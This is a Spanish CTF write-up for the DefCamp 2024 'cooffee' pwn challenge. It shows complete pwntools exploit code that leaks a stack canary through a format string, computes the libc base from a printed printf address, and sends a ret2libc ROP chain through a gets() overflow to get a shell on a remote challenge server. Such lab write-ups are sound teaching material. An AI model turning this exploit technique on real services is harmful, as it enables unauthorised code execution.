Este es un reto de la competición de CTF DefCamp 2024, organizada por DefCamp. Este fue uno de los 4 retos de la categoría de PWN, el único de dificultad Medium.
Overview
En este reto se ataca un binario de 64 bits con todas las protecciones activas. Deberemos bypasearlas mediante un leak de libc y un Format string para finalmente ejecutar una ROPchain gracias a un Buffer overflow.
Reconocimiento
It’s early morning, and the caffeine hasn’t quite kicked in yet. As you sip your cup of coffee, you notice something odd – a mysterious program named cooffee is running on your system.
Se nos da un archivo de libc y un binario que analizaremos con checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Vemos que están todas las protecciones activas.
Descompilando con ghidra:
int main(void) {
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
coffee();
puts("Party!");
return 0;
}
void coffee(void)
{
long in_FS_OFFSET; //Canary
char input [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Coffee Time\n$ ");
gets(input); /* BUFFER OVERFLOW */
printf(input); /* FORMAT STRING */
printf("What is this? %p\n",printf); /* LEAK */
printf("\nCoffee Time\n$ ");
fread(input,1,0x50,stdin); /* FORMAT STRING */
puts(input);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* Canary check */
__stack_chk_fail();
}
return;
}
Vemos que a pesar de la simpleza del programa, disponemos de varios fallos de seguridad que podemos aprovechar.
Si utilizamos el Format string para “leakear” el valor del Canary, podemos utilizar el leak de printf
para calcular la dirección base de libc y mandar una ROPchain en el último BOF.
Explotación
Sacando el canario
Para filtrar el Canary debemos utilizar el Format string, concretamente un especificador de formato como "%n$x"
, e iremos probando con distintas n
hasta encontrar un valor acabado en 00
. En este caso lo haremos con un script de python:
#!/bin/python3
from pwn import *
for i in range(0, 15):
io = process('./chall')
io.recvuntil(b"$ ")
io.sendline(f"%{i}$x")
print(io.recvline().decode())
En este caso, vemos que está en la posición 9
.
Calculando la dirección base de Libc
A partir de este punto podemos utilizar pwntools e ir escribiendo un script para facilitar las cosas:
#! /bin/python3
import re
from pwn import *
libc = ELF('libc-2.31.so')
def start():
if args.REMOTE:
return remote('35.234.95.200', 31484)
else:
return process('./chall_patched')
io = start()
#1er input -> LEAK CANARY - PRINTF
io.recvuntil(b"$ ")
io.sendline(b"%9$lx")
leaks = io.recvline().decode()
canary = re.search(r'^[0-9a-fA-F]+', leaks).group() # Capturamos el valor del canary
canary = int(canary, 16)
printf_leak = re.search(r'0x[0-9a-fA-F]+', leaks).group() # Capturamos el valor del leak
printf_leak = int(printf_leak, 16)
log.info(f"Canary -> {hex(canary)}")
log.info(f"Printf -> {hex(printf_leak)}")
Hasta este punto sólo hemos recogido el valor del leak y del canario. Teniendo el leak, sólo debemos buscar la dirección de printf
en Libc y restársela al leak:
#Calculamos la dir base de libc
base_libc = printf_leak - libc.symbols["printf"]
log.info(f"Base Libc -> {hex(base_libc)}")
Calculando las direcciones que nos faltan
Ahora debemos calcular la dirección de system
y buscar en Libc el offset hasta la cadena /bin/sh
(y añadirle a la dirección base):
#Buscamos la cadena /bin/sh
bin_sh = base_libc + next(libc.search(b'/bin/sh'))
log.info(f"Bin_sh -> {hex(bin_sh)}")
#Calculamos la direccion de system
system = base_libc + libc.symbols['system']
log.info(f"System -> {hex(system)}")
Construyendo el payload
Finalmente, haciendo uso de los gadgets de la propia Libc podemos poner cada valor en su registro (hace falta además un gadget ret
que alinee el stack):
#2o input
io.recvuntil(b"$ ")
payload = b'A'*24
payload += p64(canary)
payload += b'B'*8
payload += p64(base_libc + 0x23b6a) #0x0000000000023b6a: pop rdi; ret;
payload += p64(bin_sh)
payload += p64(base_libc + 0x22679) #0x0000000000022679: ret;
payload += p64(system)
payload += b'C'*16
io.sendline(payload)
io.interactive()
Script completo
El script nos quedará así:
#! /bin/python3
import re
from pwn import *
libc = ELF('libc-2.31.so')
def start():
if args.REMOTE:
return remote('35.234.95.200', 31484)
else:
return process('./chall_patched')
io = start()
#1er input -> LEAK CANARY - PRINTF
io.recvuntil(b"$ ")
io.sendline(b"%9$lx")
leaks = io.recvline().decode()
canary = re.search(r'^[0-9a-fA-F]+', leaks).group() # Capturamos el valor del canary
canary = int(canary, 16)
printf_leak = re.search(r'0x[0-9a-fA-F]+', leaks).group() # Capturamos el valor del leak
printf_leak = int(printf_leak, 16)
log.info(f"Canary -> {hex(canary)}")
log.info(f"Printf -> {hex(printf_leak)}")
#Calculamos la dir base de libc
base_libc = printf_leak - libc.symbols["printf"]
log.info(f"Base Libc -> {hex(base_libc)}")
#Buscamos la cadena /bin/sh
bin_sh = base_libc + next(libc.search(b'/bin/sh'))
log.info(f"Bin_sh -> {hex(bin_sh)}")
#Calculamos la direccion de system
system = base_libc + libc.symbols['system']
log.info(f"System -> {hex(system)}")
#2o input
io.recvuntil(b"$ ")
payload = b'A'*24
payload += p64(canary)
payload += b'B'*8
payload += p64(base_libc + 0x23b6a) #0x0000000000023b6a: pop rdi; ret;
payload += p64(bin_sh)
payload += p64(base_libc + 0x22679) #0x0000000000022679: ret;
payload += p64(system)
payload += b'C'*16
io.sendline(payload)
io.interactive()
Ejecutamos y deberíamos obtener una shell. Este ejercicio es interesante para practicar cómo bypasear una protección de tipo Canary. Si te ha gustado, ¡nos vemos en el siguiente post!